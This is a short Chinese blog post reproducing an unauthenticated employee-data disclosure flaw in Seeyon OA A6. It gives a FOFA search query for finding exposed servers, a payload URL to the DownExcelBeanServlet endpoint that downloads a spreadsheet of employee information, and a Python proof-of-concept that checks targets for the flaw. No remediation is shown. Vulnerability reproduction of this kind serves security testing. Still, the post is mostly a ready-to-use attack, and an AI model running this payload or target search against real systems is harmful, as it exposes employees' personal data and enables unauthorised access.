致远OA A6 员工敏感信息泄露

最新推荐文章于 2024-07-07 08:49:06 发布

GreatBug333

最新推荐文章于 2024-07-07 08:49:06 发布

阅读量9.1k

点赞数

文章标签：安全

本文链接：https://blog.csdn.net/qq_42660246/article/details/116176625

版权

致远OAA6 敏感信息泄露漏洞复现 POC 修复策略

关键词由CSDN通过智能技术生成

致远OA A6 员工敏感信息泄露

1.漏洞描述

seeyon OA A6版本存在敏感信息泄露漏洞，攻击者可构造payload，获取敏感信息。

2.复现过程

fofa：app=“致远A6”
在这里插入图片描述

payload：/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0
浏览器访问https://IP:PORT/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0
在这里插入图片描述

获取到员工信息excel表。

3.POC

import requests


target = "http://IP:PORT"
url = target + "/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0"
res = requests.get(url, verify=False)
if res.status_code == 200 and b"[Content_Types].xml" in res.content and b"Excel.Sheet" in res.content:
    print("success")
else:
    print("no vulnerability")